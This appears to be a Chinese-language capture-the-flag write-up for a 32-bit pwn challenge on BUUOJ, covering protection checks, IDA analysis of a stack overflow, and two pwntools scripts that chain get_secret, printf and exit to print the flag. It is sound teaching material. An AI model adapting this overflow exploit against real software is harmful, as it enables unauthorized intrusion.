首先checksec检查保护机制:
-32位程序
-仅开启了栈不可执行保护
然后使用IDA反汇编工具进行分析:
main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据
这是get_secret函数内部:
这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag
这里先拿到flag变量的地址:0x080ECA2D
get_secret函数的地址:0x080489A0
在IDA中找到printf函数的地址:0x0804F0A0
由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660
这是exp攻击脚本:
payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来
from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:
from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()这是运行结果:
-成功打印出flag